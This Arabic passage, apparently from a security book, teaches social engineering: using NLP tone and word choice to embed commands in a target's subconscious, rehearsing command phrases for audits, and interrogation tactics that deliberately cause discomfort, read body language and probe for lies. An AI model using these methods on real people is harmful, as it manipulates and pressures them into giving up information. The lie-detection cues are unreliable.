‫اﻟﻣراﻗب ﻛﺛﯾرا ﻣﺎ ﯾﻔض اﻟﻧزاع اﻟداﺋر ﺑﯾن ﻣوﻗﻌﻲ اﻟذات واﻵﺧر‪.‬‬
‫اﺳﺗﺧدام ﻣواﻗﻊ اﻹدراك ﻓﻲ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ :‬ھذه ﻣرﺗﺑطﺔ ﺑﺎﻟﻣﺳﺗوﯾﺎت اﻟﻣﻧطﻘﯾﺔ‪ ،‬أﻓﻛﺎر اﻟﻧﺎس ﺗﺧﺗﻠف ﻷﻧﮭﺎ ﺗﻧظر ﻟﻠﻧﺎس ﻣن ﻣواﻗﻊ إدراك‬
‫زﻣﺎﻧﯾﺔ ﻣﺧﺗﻠﻔﺔ أو ﻣواﻗﻊ إدراك ﻣﻛﺎﻧﯾﺔ ﻣﺧﺗﻠﻔﺔ أو ﻣواﻗﻊ إدراك ﻣﻧطﻘﯾﺔ ﻣﺧﺗﻠﻔﺔ‪ .‬اﻟذات ﻗد ﺗﻘﺗﺻر ﻣﻊ اﻟﻧﻔس وﻗد ﺗﺷﻣل اﻟزوﺟﺔ واﻷﺑﻧﺎء وﻗد‬
‫ﺗﺷﻣل اﻷﺳرة واﻟﻘﺑﯾﻠﺔ‪ .‬واﻷطﻔﺎل داﺋﻣﺎ ﻓﻲ ﻣوﻗﻊ اﻟذات اﻟﻼوﻋﻲ وﻟذﻟك ﺗﻌﻠﯾﻣﮭم ﻋن طرﯾﻖ اﻟﺻواب واﻟﺧطﺄ‪ .‬ﻓﻛرة ﻛﺗﺎﺑﺔ اﻟﻣﻧﮭﺞ ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ‬
‫ﻗﺻص اﻟﺳﻠف‪ .‬اﻻﻧﺗﻘﺎل ﻟﻠذات‪ :‬ﻣﺎذا أرﯾد ﻣﺎ رﻏﺑﺎﺗﻲ؟ اﻻﻧﺗﻘﺎل ﻟﻶﺧر‪ :‬ﻣﺎ رأﯾك ﻓﻲ ﻋﺎدل ﻣﻊ رﺋﯾس ﻓرﯾﻖ ﻣﺳﺗﺷﺎري ﻛﯾف ﺷﻛﻠﮫ‪ ،‬ﻛﯾف ﺳﻠوﻛﮫ‪،‬‬
‫ھل أﻧت ﻣﻘﺗﻧﻊ ﺑﮫ‪ ،‬ﻣﺎ ﺷﻌورك ﺗﺟﺎھﮫ ؟؟؟؟‪ ،‬ﻛﯾف ﻣواﻗﻔﮫ؟ اﻻﻧﺗﻘﺎل ﻟﻠﻣراﻗب‪ :‬رؤﯾﺔ اﻟطرﻓﯾن ھو اﻟﺿﺎﺑط إذا اﺳﺗطﻌت أن أرى اﻟطرﻓﯾن أراﻗﺑﮭﻣﺎ‬
‫دون ﺗﺣﯾز ﻓﮭذا ﻣوﻗﻊ اﻟﻣراﻗب‪.‬‬
‫ﻓﻲ ﺧﺗﺎم ھذا اﻟﻘﺳم‪ ،‬ﺳوف ﻧﻘوم ﺑﺎﻟﻧظر اﻟﻰ ﺛﻼﺛﺔ أﺷﯾﺎء ﯾﻧﺑﻐﻲ أن ﯾرﻛز ﻋﻠﯾﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻋﻧد دراﺳﺔ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪:‬‬
‫اﻟﻧﻐﻣﺎت اﻟﺻوﺗﯾﺔ‪ .‬ﻛﻣﺎ ذﻛر ﺳﺎﺑﻘﺎ‪ ،‬ﯾﻣﻛن ﻟﻠﻧﻐﻣﺎت ﺻوﺗك وﻛذﻟك اﻟﺗﺷدﯾد‪/‬اﻟﺗﺄﻛﯾد ﻋﻧد وﺿﻊ ﺑﻌض اﻟﻛﻠﻣﺎت ان ﺗﻐﯾر ﻣﻌﻧﻰ اﻟﺟﻣﻠﺔ ﻛﻠﮭﺎ‪.‬‬
‫ﺑﺎﺳﺗﺧدام اﻟﻠﮭﺟﺔ واﻟﺗﺄﻛﯾد‪ ،‬ﯾﻣﻛﻧك ﺗﺿﻣﯾن اﻷواﻣر داﺧل اﻟﻌﻘل اﻟﺑﺎطن ﻟﻠﮭدف واﻟﺳﻣﺎح ﻟﻠﮭدف ﻟﯾﻛون أﻛﺛر اﻧﻔﺗﺎﺣﺎ ﻋﻠﻰ اﻻﻗﺗراح‪.‬‬
‫اﺧﺗﺎر ﻛﻠﻣﺎﺗك ﺑﻌﻧﺎﯾﺔ‪ .‬ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﺧﺗﯾﺎر اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﻟﮭﺎ أﻗﺻﻰ ﻗدر ﻣن اﻟﺗﺄﺛﯾر‪ .‬طﺎﺑﻖ اﻟﻛﻠﻣﺎت اﻹﯾﺟﺎﺑﯾﺔ ﻣﻊ اﻷﻓﻛﺎر اﻟﺗﻲ ﺗرﯾد اﻟﮭدف ان ﯾﻔﻛر‬
‫ﺑﮭﺎ ﺑﺷﻛل إﯾﺟﺎﺑﻲ واﻟﻛﻠﻣﺎت اﻟﺳﻠﺑﯾﺔ ﺗﻠك اﻟﺗﻲ ﺗرﯾد ﻣﻧﮭم أﻻ ﯾﻔﻛر ﺑﮭﺎ أﯾﺿﺎ‪ .‬ھذه اﻟﺗﻘﻧﯾﺔ ﯾﻣﻛن أن ﯾﺳﺎﻋد أﯾﺿﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ ﺟﻌل‬
‫اﻟﮭدف أﻛﺛر ﻟﯾن‪.‬‬
‫إﻧﺷﺎء ﻗﺎﺋﻣﺔ ﻣن ﺟﻣل اﻷواﻣر اﻟﺗﻲ ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻓﻲ ﺷﺧص أو ﺧﻼل ھﺎﺗف اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠﺗدﻗﯾﻖ‪ .‬ﻗم ﺑﻛﺗﺎﺑﺔ وﻣﻣﺎرﺳﺔ ﺟﻣل‬
‫اﻻواﻣر اﻟﺗﻲ ﺗﺳﺎﻋدك ﻋﻠﻰ أن ﺗﻛون ﻗﺎدرا ﻋﻠﻰ ﺗذﻛرھﺎ واﺳﺗﺧداﻣﮭﺎ ﻋﻧد اﻟﺣﺎﺟﺔ‪.‬‬
‫اﻷھم ﻣن ذﻟك ﻛﻠﮫ‪ ،‬اﻟﻣﻣﺎرﺳﺔ‪ .‬ﺿﺑط اﻟﻧﻐﻣﺎت اﻟﺻوﺗﯾﺔ‪ ،‬اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﺗﺧﺗﺎرھﺎ‪ ،‬وﻛﯾف ﻧﻘول ﻟﮭم ﻟﯾﺳت ﻣﮭﻣﺔ ﺳﮭﻠﺔ‪ .‬اﻟﻣﻣﺎرﺳﺔ ﯾﻣﻛن أن ﺗﺟﻌل‬
‫ھذه اﻟطﺑﯾﻌﺔ اﻟﺛﺎﻧﯾﺔ ان ﺗﺻﺑﺢ‪.‬‬
‫اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ھو ﻣوﺿوع ﻗوي‪ ،‬وﻣﺛل اﻟﻛﺛﯾر ﻣن ‪ ،microexpressions‬ھذا اﻟﻘﺳم ﻓﻘط ﺧدش اﻟﺳطﺢ‪ .‬ﺑﻣﺟرد أن ﺗﺑدأ ﻹﺗﻘﺎن‬
‫اﻟﺗﻘﻧﯾﺎت ﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ واﻟﻘدرة ﻋﻠﻰ ﻗراءة ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ ،‬واﻟﺧطوة اﻟﻣﻧطﻘﯾﺔ اﻟﺗﺎﻟﯾﺔ ﯾﺳﺗﺧدم ھذه اﻷدوات ﻋﻧد اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﮭدف‪.‬‬

‫‪Interview and Interrogation‬‬

‫ﯾﺧﺗﻠط ھذﯾن اﻟﻣﺟﺎﻟﯾن ﻣﻌﺎ أﻛﺛر ﻓﻲ اﻟﺣﯾﺎة اﻟﺣﻘﯾﻘﯾﺔ ﻋﻣﺎ ﯾوﺟد ﻓﻲ ﺷﺎﺷﺔ اﻟﺗﻠﻔزﯾون‪ .‬ﻗﺑل اﻟﻣﺿﻲ ﻗدﻣﺎ ﯾﺟب أن ﻧﻌرف اﻟﻔرق ﺑﯾن اﻻﺳﺗﺟواب‬
‫)‪ (Interrogation‬واﻟﻣﻘﺎﺑﻠﺔ )‪ .(Interview‬ﯾﻌرض اﻟﺟدول اﻟﺗﺎﻟﻲ ﺑﻌض ھذه اﻻﺧﺗﻼﻓﺎت‪ ،‬وﻟﻛن ھذا اﻟﻣوﺿوع ﻟﮫ ﻋدة زواﯾﺎ ﻣﺧﺗﻠﻔﺔ‪،‬‬
‫وﺟﮭﺎت ﻧظر‪ ،‬آراء‪ ،‬وأﻛﺛر ﻣن ذﻟك ﯾﻣﻛن أن ﺗوﺟد‪.‬‬
‫اﻟﻣﻘﺎﺑﻠﺔ )‪(Interview‬‬ ‫اﻻﺳﺗﺟواب )‪(Interrogation‬‬
‫اﻟﮭدف ﯾﺗﺣدث‪ ،‬واﻧت ﺗﺳﻣﻊ‬ ‫اﻧت ﺗﺗﺣدث إﻟﻰ اﻟﮭدف ﻋن ﺗﺻرﯾﺣﺎﺗﮫ‪.‬‬
‫اﻟﮭدف ﯾﻘود اﺗﺟﺎه اﻟﻣﺣﺎدﺛﺔ‪ .‬اﻧت ﺗﺳﺗوﺿﺢ ﻋن ﺗﺻرﯾﺣﺎﺗﮫ وﻣن ﺛم‬ ‫اﻧت ﺗﻘود اﻟﻣﺣﺎدﺛﺔ‪ ،‬وﻣن ﺛم ﺗطﺑﻖ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪.‬‬
‫ﺗﺳﺗﻣﻊ‪ ،‬ﺛم ﺗطﺑﻖ ﻣﮭﺎرات اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪.‬‬
‫ﻏﯾر ﻣﺗﮭم )‪(Non-accusatory‬‬ ‫ﻣﺗﮭم )‪(Accusatory‬‬
‫ﺗﻛون ﻟﯾن ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‬ ‫ﺗﻛون ﺻﻠب‪/‬ﺟد ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‬
‫ﻣوﻗﻊ اﻟﻣﻘﺎﺑﻠﺔ‪ ،‬ﯾﻣﻛن اﻟوﺻول اﻟﯾﮫ ﺑﺳﮭوﻟﮫ وﯾﺗﺳم ﺑﺎﻟﯾن‪.‬‬ ‫ﻣوﻗﻊ اﻟﺗﺣﻘﯾﻖ‪ ،‬ﺻﻌب ﻣﻌرﻓﺔ ﻣﻛﺎﻧﮫ وﯾﺗﺳم ﺑﺎﻟﺗوﺗر‪.‬‬
‫ﯾﻣﻛﻧك ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﺑﺎﺳﺗﺧدام )ﻣن‪ ،‬ﻣﺎذا‪ ،‬ﻣﺗﻰ‪ ،‬أﯾن وﻟﻣﺎذا‬ ‫إذا ﻗﻣت ﺑﺎﻟﻛﺷف ﻋن ﻣﻌﻠوﻣﺎت ﻣﻌﯾﻧﺔ‪ ،‬ﯾﻣﻛﻧك ﻣﻌرﻓﺔ اﻟﺗﻔﺎﺻﯾل‪.‬‬
‫وﻛﯾف(‪.‬‬

‫اﻟﻔرق اﻟرﺋﯾﺳﻲ ﺑﯾن اﻟﻣﻘﺎﺑﻠﺔ واﻻﺳﺗﺟواب ھو أن اﻟﻣﻘﺎﺑﻠﺔ ﺗﻛون ﻓﻲ ﺟو ﺣﯾث ان اﻟﮭدف ﯾﻛون ﻣرﺗﺎح ﺟﺳدﯾﺎ وﻧﻔﺳﯾﺎ‪ ،‬ﺑﯾﻧﻣﺎ ﻓﻲ اﻻﺳﺗﺟواب ﯾﻛون‬
‫اﻟﮭدف ﻓﻲ وﺿﻊ ﻣﻊ ﺑﻌض اﻟﺿﻐوط ﻋﻠﻰ اﻟﮭدف ﻣن ﺧﻼل ﺧﻠﻖ ﻋدم اﻟراﺣﺔ ﻧﺗﯾﺟﺔ ﻣوﻗﻊ اﻻﺳﺗﺟواب أو اﻷﺳﺋﻠﺔ‪ ،‬ﺑﮭدف اﻟﺣﺻول ﻋﻠﻰ‬
‫اﻋﺗراف أو ﺑﻌض اﻟﻣﻌرﻓﺔ اﻟﺗﻲ ﯾﻣﺗﻠﻛﮭﺎ اﻟﮭدف‪.‬‬
‫اﻻﺳﺗﺟواب اﻟﺟﯾد ھو ﻓن ﯾﻣﻛﻧك اﺗﻘﺎﻧﮫ ﻣن ﺧﻼل اﻟﺗﺟرﺑﺔ‪ .‬اﻟﻌدﯾد ﻣن ﻣﮭﺎرات اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺗرﺗﺑط ﻣﻊ ﻛوﻧك ﻣﺣﻘﻖ ﺟﯾد‪ .‬ﻣﺛل ﻣﮭﺎرات‬
‫اﻻﺳﺗﻧﺑﺎط )‪(Elicitation‬؛ ﻗراءة اﻟﻧﺎس‪ ،‬ﻗراءة اﻟوﺟوه‪ ،‬ﻗراءة اﻹﯾﻣﺎءات )‪ ،(gestures‬واﻣﺗﻼك ﻧظرة ﺛﺎﻗﺑﺔ ﻋن اﻟﺳﻠوك اﻟﺑﺷري ﻛل ھذا‬
‫ﯾﻣﻛﻧﮫ ان ﯾﺳﺎﻋدك ﻋﻠﻰ أن ﺗﺻﺑﺢ ﻣﺣﻘﻖ أﺳطوري‪.‬‬
‫اﻟﻣﻘﺎﺑﻼت ھﻲ ﻣﮭﺎرة ﻛﺑﯾرة ﯾﺟب ان ﺗﻣﻠﻛﮭﺎ‪ ،‬ﻟﻛن طﺎﻟﻣﺎ ﯾﻣﻛﻧك اﺗﻘﺎن اﺳﺗﺧدام اﻻﺳﺗﻧﺑﺎط )‪ (Elicitation‬ﯾﻣﻛن أن ﺗﺻﺑﺢ اﺳﺗﺎذا ﻓﻲ إﺟراء‬
‫اﻟﻣﻘﺎﺑﻼت‪ .‬ﺗﺳﺗﺧدم ﻣﺑﺎدئ اﻻﺳﺗﺟواب ﻋﻠﻰ ﻧطﺎق واﺳﻊ ﻣن ﻗﺑل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻧﺎﺟﺢ‪ .‬وﺿﻊ اﻟﮭدف ﻓﻲ ﺑﻌض اﻻﻧزﻋﺎج اﻟﻧﻔﺳﻲ أو‬
‫اﻟﺟﺳدي ﻟﺟﻌل ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت أﺳﮭل وھﻲ ﻣﮭﺎرة ﯾﻘﺿﻰ اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن وﻗﺗﺎ طوﯾﻼ ﻓﻲ اﻟﺣﺻول ﻋﻠﯾﮭﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪860‬‬

‫ﺗﻜﺘﯿﻜﺎت اﻻﺳﺘﺠﻮاب اﻟﻤﺤﺘﺮﻓﺔ )‪(Professional Interrogation Tactics‬‬

‫ﻗﺑل إﺟراء أي ﻣﻘﺎﺑﻠﺔ أو اﺳﺗﺟواب‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺳوف ﯾﺣﺗﺎج ﻟﻔﻌل ذﻟك ﻣن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﯾﺟب ﻋﻠﯾك اﻟﺣﺻول ﻋﻠﻰ أﻛﺑر ﻗدر ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﮭدف‪ ،‬اﻟﺷرﻛﺔ‪ ،‬اﻟوﺿﻊ‪ ،‬وﻛل اﻟﺗﻔﺎﺻﯾل اﻟﻣﻣﻛﻧﺔ‪ .‬ﯾﺟب أن ﺗﻌرف ﻛﯾﻔﯾﺔ اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﮭدف وﻣﺎذا ﺗﻘول‪ ،‬وﻟدﯾك ﻓﻲ اﻻﻋﺗﺑﺎر‬
‫اﻟﻣﺳﺎر اﻟذي ﺳوف ﺗﺗﺧذه ﻣﻊ اﻟﮭدف‪ .‬ﻛن ﺣذرا ﻟﻣراﻗﺑﺔ ﻣﺣﯾطك وﻛذﻟك أﯾﺔ ﺗﻐﯾﯾرات ﻓﻲ اﻟﮭدف أﺛﻧﺎء اﻟﺣدﯾث واﻟﻧﮭﺞ اﻷوﻟﻲ‪.‬‬
‫واﺣدة ﻣن اﻷﺧطﺎء اﻟذي ﯾﻘﻊ ﻓﯾﮫ اﻷﺷﺧﺎص اﻟﺟدد ﻋﻧد إﺟراء اﻟﻣﻘﺎﺑﻼت واﻻﺳﺗﺟواب ھو اﻓﺗراض ان ﻟﻛل ﺗﻐﯾﯾر ﻓﻲ اﻟﺳﻠوك ﻟﮫ ﻣﻌﻧﻰ ﻛﺑﯾر‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل رﺑط اﻟﮭدف ذراﻋﯾﮫ ﻓوق ﺑﻌﺿﮭم ﻻ ﯾﻌﻧﻲ اﻧﮫ ﻓﻲ ﺣﺎﻟﺔ اﻟﺗﻔﻛﯾر اﻟﻣﻐﻠﻖ‪ ،‬وﻟﻛن ﻣن اﻟﻣﻣﻛن أن ﯾﻛون ﯾﺷﻌر ﺑﺎﻟﺑرد‪ ،‬او ﻟﮫ راﺋﺣﺔ‬
‫ﻣن اﻹﺑط‪ ،‬أو ﯾﺷﻌر ﺑزﯾﺎدة اﻟﺗوﺗر ﺑﺳﺑب أﺳﺋﻠﺗك‪.‬‬
‫اﻟﻣﺷﺎھدة ﻟﯾس ﻓﻘط ﻟﻌﻼﻣﺔ واﺣدة؛ وﻟﻛن ﻟﻣﺷﺎھدة ﻣﺟﻣوﻋﺎت ﻣن اﻟﻌﻼﻣﺎت‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﮭدف ﯾرﺑط ذراﻋﯾﮫ ﻓوق ﺑﻌﺿﮭم‪ ،‬ﯾﺣول رأﺳﮫ‪،‬‬
‫وﯾﺿﻊ ﻗدﻣﯾﮫ ﻣﺳطﺣﺎ ﻋﻠﻰ اﻻرض‪ .‬ھذا ھو ﺷﺧص ﻣﻐﻠﻖ‪ .‬وﺑﻌﺑﺎرة أﺧرى‪ ،‬ﻟﻐﺔ ﺟﺳدھﺎ ﺗﺷﯾر إﻟﻰ أﻧﮫ ﻟن ﯾﻛﺷف ﻋن اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت أو‬
‫اﻟﺗﻌﺎون ﺑﻌد اﻻن )ھذا اﻟﺑﺎب ﻣﻐﻠﻖ(‪ .‬ﻣﺟﻣوﻋﺔ ﻣن اﻟﺗﻐﯾﯾرات ھﻲ اﻟﺷﻲء اﻷﻛﺛر أھﻣﯾﺔ ﻟﻠﻣراﻗﺑﺔ‪ ،‬ﻟذﻟك اﻧﮫ ﻣن اﻟﻣﮭم ﻣﻼﺣظﮫ ﻣﺟﻣوﻋﮫ ﻣن‬
‫اﻟﺗﻐﯾرات‪.‬‬
‫ﻋﻧد ﺑدء اﻟﺣدﯾث أو اﻻﺳﺗﺟواب ﻓﯾﻣﺎ ﯾﻠﻲ اﻟﻣﻧﺎطﻖ اﻟﺗﻲ ﯾﺟب ﻣراﻗﺑﺔ ﺗﻐﯾرھﺎ‪:‬‬
‫‪ -‬ھﯾﺋﺔ اﻟﺟﺳم )‪ :(Body posture‬ﻣﺳﺗﻘﯾم‪ ،‬ﻣﺗراﺟﻊ‪ ،‬ﯾﻣﯾل ﺑﻌﯾدا‪/‬ﻣﺗﻛﺋﺎ ﺑﻌﯾدا‪.‬‬
‫‪ -‬ﻟون اﻟﺑﺷرة )‪ :(Skin color‬ﺷﺎﺣب‪ ،‬أﺣﻣر‪ ،‬أﺑﯾض‪ ،‬او أي ﺗﻐﯾرات أﺧرى‪.‬‬
‫‪ -‬وﺿﻊ اﻟراس )‪ :(Head position‬ﻣﺳﺗﻘﯾم‪ ،‬ﯾﻣﯾل‪ ،‬إﻟﻰ اﻷﻣﺎم‪/‬اﻟﺧﻠف‪.‬‬
‫‪ -‬اﻟﻌﯾون‪ :‬ﻣﺗﺟﮫ اﻟﻰ اﺗﺟﺎه اﺧر‪ ،‬ﻣﻧﻔﺗﺣﺔ )اﻟﻌﯾن ﻓﻲ اﻟﻌﯾن(‪.‬‬
‫‪ -‬اﻟﯾد‪/‬اﻟﻘدم‪ :‬اﻟﺣرﻛﺔ‪ ،‬اﻟﻣوﻗﻊ‪ ،‬اﻟﻠون‪.‬‬
‫‪ -‬اﻟﻔم‪/‬اﻟﺷﻔﺎه‪ :‬اﻟﻣوﻗﻊ‪ ،‬اﻟﻠون‪ ،‬اﻟﺗﺣول اﻟﻰ أﻋﻠﻰ‪/‬أﺳﻔل‪.‬‬
‫‪ -‬اﻟﺣواس اﻷﺳﺎﺳﯾﺔ‪ :‬اﻟﺑﺻر‪ ،‬اﻟﺳﻣﻊ‪ ،‬اﻟﺣرﻛﺔ‪ ،‬واﻟﺷﻌور‪.‬‬
‫‪ -‬اﻟﺻوت‪ :‬ﺣدة اﻟﺻوت )‪ ،(pitch‬ﻣﻌدل‪ ،‬واﻟﺗﻐﯾرات‪.‬‬
‫‪ -‬اﻟﻛﻠﻣﺎت‪ :‬ﻗﺻﯾرة‪ ،‬طوﯾﻠﺔ‪ ،‬ﻋدد ﻣن اﻟﻣﻘﺎطﻊ‪ ،‬اﺧﺗﻼﻻت‪ ،‬ﺗوﻗف‪.‬‬
‫ﯾﻣﻛن أن ﺗﺷﯾر اﻟﺗﻐﯾﯾرات إﻟﻰ وﺟود ﺳؤال أو ﺧط ﻣن اﻻﺳﺗﺟواب اﻟذي ﯾﺣﺗﺎج ﻣزﯾدا ﻣن اﻻھﺗﻣﺎم‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻛﺎﻧت ھﯾﺋﺔ اﻟﺟﺳم‬
‫ﻣرﺗﺎﺣﺔ ﺟدا ﻋﻧدﻣﺎ ﻛﻧت ﺗﺳﺄل "ھل اﻟﺳﯾد ‪ CEO‬ﻣوﺟود؟ أود أن اﺗرك ﺣزﻣﺔ اﻟﻣﻌﻠوﻣﺎت ھذه ﻟﻼﺳﺗﻌراض"‪ ،‬ﺛم ﯾﺗﻐﯾر ﻣوﻗف ھﯾﺋﺗﮫ إﻟﻰ ﻣوﻗف‬
‫دﻓﺎﻋﻲ‪ ،‬ﺣﯾث ﯾﺑدا ﺟﺳده ان ﯾﻣﯾل وﯾﺗﺟﻧب وﺿﻊ ﻋﯾﻧﯾﮫ ﻣن اﻟﻧظر إﻟﯾك‪ ،‬ھذا ﻗد ﯾﻛون ﻣؤﺷرا ﺟﯾدا أن ھﻧﺎك ﺑﻌض اﻻﻛﺎذﯾب وﻣﻊ ﻣزﯾد ﻣن‬
‫اﻻﺳﺗﺟواب ﻗد ﯾﻛﺷف اﻟﺣﻘﯾﻘﺔ‪.‬‬
‫ﺗﺄﻛد ﻣن اﻻﻧﺗﺑﺎه إﻟﻰ اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﮭدف‪ .‬ﺧﻼل ﻋﻣﻠﯾﺔ اﻟﻣﻘﺎﺑﻠﺔ أو اﻻﺳﺗﺟواب‪ ،‬إﯾﻼء اھﺗﻣﺎم ﺧﺎص ﻟﺻوت اﻟﮭدف وﻛﯾف ﯾﺟﯾب ﻋﻠﻰ‬
‫اﻷﺳﺋﻠﺔ‪ .‬ﻋﻧدﻣﺎ ﺗﺳﺄل ﺳؤاﻻ‪ ،‬ﻛم ﯾﺳﺗﻐرق ﻣن اﻟوﻗت ﻟﻛﻲ ﯾﺟﯾب؟ اﻻﻧدﻓﺎع إﻟﻰ اﻹﺟﺎﺑﺔ ﺑﺳرﻋﺔ ﻓﺈﻧﮭﺎ ﻋﻼﻣﺔ ﻋﻠﻰ ﻣﻣﺎرﺳﺔ اﻟﺟواب‪ .‬إذا ﻛﺎﻧت‬
‫ﺗﺳﺗﻐرق وﻗﺗﺎ طوﯾﻼ‪ ،‬رﺑﻣﺎ ﻛﺎﻧت ﺗﻔﻛر ﻓﻲ اﻟﺟواب‪ .‬زﻣن اﻻﺳﺗﺟﺎﺑﺔ ﯾﻌﺗﻣد ﻋﻠﻰ ﻛل ﺷﺧص‪ ،‬ﻟذﻟك ﯾﺟب ﺗﺣدﯾد ﻣﺎ ھو "طﺑﯾﻌﻲ" ﻟﻛل ﺷﺧص‪.‬‬
‫ﺗﺣدﯾد ﻣﺎ ھو طﺑﯾﻌﻲ ﻓﻲ اﻟﮭدف )أي ﺧط اﻷﺳﺎس( ﻟﯾﺳت ﻣﺳﺄﻟﺔ ﺻﻐﯾرة ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﯾﺟب أن ﯾﺗم ذﻟك ﺑﺳرﻋﺔ ﻛﺑﯾرة‪ .‬اﻟﺑدء‬
‫ﺑﺎﻟﻣﻼﺣظﺔ ھو ﻣﻔﺗﺎح اﻟﻧﺟﺎح ﻣﻊ ھذه اﻟﻣﮭﺎرة‪ .‬أﺳﻠوب واﺣد ﻟﺧﻠﻖ ﺧط اﻷﺳﺎس ﯾﻧطوي ﻋﻠﻰ طرح اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗﺳﺑب اﻟوﺻول إﻟﻰ أﺟزاء‬
‫ﻣﺧﺗﻠﻔﺔ ﻣن اﻟدﻣﺎغ‪ .‬اﻟﻣﺣﻘﻖ ﯾﺳﺄل أﺳﺋﻠﺔ ﻻ ﺗﻧطوي ﻋﻠﻰ اﻟﺗﮭدﯾد وﺗﺗطﻠب ذاﻛرة ﺑﺳﯾطﺔ وأﺳﺋﻠﺔ ﺗﺗطﻠب اﻟﺗﻔﻛﯾر اﻹﺑداﻋﻲ‪ .‬ﺛم اﻟﺑﺣث ﻓﻲ اﻟﻣظﮭر‬
‫اﻟﺧﺎرﺟﻲ ﻣن دﻣﺎﻏﮫ ﻣﻊ ﺗﻔﻌﯾل ﻣرﻛز اﻟذاﻛرة‪ ،‬ﻣﺛل ‪ microexpressions‬أو ﻟﻐﺔ اﻟﺟﺳد‪.‬‬
‫ﺛﻣﺔ ﻣﺟﺎل آﺧر ﻟﻼﺳﺗﻣﺎع ھو اﻟﺗﻐﯾرات ﻓﻲ ﺻﯾﻐﺔ اﻟﻔﻌل واﺳﺗﺧدام اﻟﺿﻣﺎﺋر‪ .‬ھذه اﻟﺗﺣوﻻت ﻣن ﺻﯾﻐﺔ اﻟﻣﺎﺿﻲ إﻟﻰ ﺻﯾﻐﺔ اﻟﻣﺳﺗﻘﺑل ﺗظﮭر ﻟك‬
‫ﺑﻌض اﻟﻣﻧﺎطﻖ واﻟﺗﻲ ﺗرﻏب ﻓﻲ ﻣواﺻﻠﺔ اﻟﺗﺣﻘﯾﻖ‪ .‬اﻟﺗﺣول ﻓﻲ اﻟﺻﯾﻐﺔ )‪ (Switching tense‬ﯾﻣﻛن أن ﯾﺷﯾر إﻟﻰ اﻟﺧداع‪ .‬ﻋﻧدﻣﺎ ﯾﻘوم اﻟﮭدف‬
‫ﺑﺗﺑدﯾل اﻟﺻﯾﻐﺔ ﻓذﻟك ﻗد ﯾﻛون ﻟﯾﻔﺗﻌل ﺟواﺑﺎ أو اﻟﺗﻔﻛﯾر ﻓﻲ ﺑﯾﺎن اﻟﻣﺎﺿﻲ ﻻﻓﺗﻌﺎل ﺟواب‪ .‬ﻣزﯾد ﻣن اﻻﺳﺗﺟواب ﯾﻣﻛن أن ﺗﻛﺷف اﻟﺣﻘﯾﻘﺔ ھﻧﺎ‬
‫أﯾﺿﺎ‪ .‬ﻣﻧﺎطﻖ أﺧرى ﻣن اﻟﺗﻐﯾﯾر ﯾﺟب اﻻﺳﺗﻣﺎع إﻟﯾﮭﺎ ھﻲ درﺟﺔ اﻟﺻوت )اﻟﺣﺎل ﻣﻊ اﻹﺟﮭﺎد؟( وﺳرﻋﺔ اﻟﻛﻼم‪.‬‬
‫ﻟم ﯾﻛن ﻟدﯾك ﻟﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ ﺗﻔﻌل ﻛل ھذا ﻓﻲ ﻧﻔس اﻟوﻗت‪ .‬ﻣزﯾد ﻣن اﻟوﻗت ﻓﻲ ﻣﻣﺎرﺳﺔ اﻻﺳﺗﻣﺎع وﻣراﻗﺑﺔ اﻟﻧﺎس ﺑﻧﺷﺎط أﺻﺑﺢ ﻣن اﻷﺳﮭل‬
‫ﺑﺎﻟﻧﺳﺑﺔ ﻟك أن ﺗﻔﻌل ذﻟك دون ﺗﻔﻛﯾر‪.‬‬
